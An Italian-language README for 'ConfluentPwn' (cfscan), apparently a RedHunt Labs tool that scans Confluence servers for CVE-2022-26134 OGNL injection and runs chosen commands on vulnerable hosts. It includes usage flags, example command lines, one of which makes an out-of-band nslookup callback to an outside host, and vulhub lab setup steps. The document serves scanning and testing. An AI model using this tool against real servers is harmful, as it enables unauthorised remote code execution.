
Scanner di esecuzione remota di codice tramite iniezione ONGL non autenticata in Atlassian Confluence (CVE-2022-26134).
Scanner di esecuzione remota di codice tramite iniezione ONGL pre-autenticazione in Confluence (CVE-2022-26134).
La GIF seguente mostra un utilizzo dimostrativo dello strumento:

Ecco l'output di aiuto dello strumento:
$ ./cfscan -h
+-------------------------------+
| C O N F L U E N T P W N |
+-------------------------------+
[+] ConfluentPwn by RedHunt Labs - A Modern Attack Surface (ASM) Management Company
[+] Author: Pinaki Mondal (RHL Research Team)
[+] Continuously Track Your Attack Surface using https://redhuntlabs.com/nvadr.
Usage:
-cmd string
Command to execute on a vulnerable confluence server. (default "id")
-file string
Specify a file containing list of hosts to scan.
-output string
Output filepath to write the scan results into. (default "cfpwn-results.csv")
-regex string
Regex to match the response header for the command executed.
-threads int
Number of threads to use while scanning. (default 20)
-timeout int
HTTP timeout in seconds. (default 5)
-user-agent string
Custom user-agent string to use. (default "Mozilla/5.0 (ConfluentPwn) Chrome/95.0.4638.69 Safari/537.36")
Examples:
./cfscan 1.2.3.4:80 1.1.1.1:8080
./cfscan -file urls.txt
./cfscan -cmd 'nslookup xxxxxxxxxxxxxxxxx.canarytokens.com 1.1.1.1:80'
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443
I target possono essere specificati in due modi:
./cfscan target1 target2 ...
-file.
./cfscan -file targets.txt
Il numero massimo di target concorrenti da elaborare può essere controllato tramite l'argomento -threads. Il valore di concorrenza predefinito è 20.
Il valore di timeout HTTP in secondi può essere specificato tramite l'argomento -timeout. Il timeout predefinito è impostato a 5 secondi.
È possibile specificare uno user-agent personalizzato tramite il flag -user-agent, nel caso l'utente voglia tenere traccia delle stringhe UA nei propri log.
L'output generato viene scritto in un file CSV, la cui destinazione può essere specificata tramite il flag -output. Il file di output predefinito generato è cfscan-results.csv.
L'output contiene 4 colonne:
Il comando da eseguire su un server vulnerabile può essere specificato tramite l'argomento -cmd. Viene specificata un'espressione regolare per far corrispondere l'output del comando, che può essere indicata tramite il flag -regex.
Il comando predefinito eseguito è id e la regex usata per far corrispondere l'output del comando è uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\).
L'utilizzo combinato dei flag è il seguente:
./cfscan -cmd 'id' -regex 'uid=\d+?\(\w+?\)\s*?gid=\d+?\(\w+?\)\s*groups=\d+?\(\w+?\)' https://1.1.1.1
./cfscan -cmd 'ps' -regex '^\s*PID\s*TTY\s*TIME\s*CMD' http://1.1.1.1:443
Se vuoi provare lo strumento o la vulnerabilità in generale, puoi fare riferimento a questo: https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2022-26134.
Il processo di installazione è piuttosto semplice, i comandi seguenti fanno al caso tuo:
$ mkdir confluentpwn && cd confluentpwn && wget https://raw.githubusercontent.com/vulhub/vulhub/master/confluence/CVE-2022-26134/docker-compose.yml
$ docker-compose up -d
L'app dovrebbe ora essere disponibile all'indirizzo http://localhost:8090.
Lo strumento è concesso in licenza sotto la licenza MIT. Vedi LICENSE. Attualmente lo strumento è alla versione v0.1.
Il team di ricerca di RedHunt Labs desidera ringraziare vulhub per aver fornito l'immagine Docker di test.
Per saperne di più sulla nostra piattaforma di gestione della superficie d'attacco, dai un'occhiata a NVADR.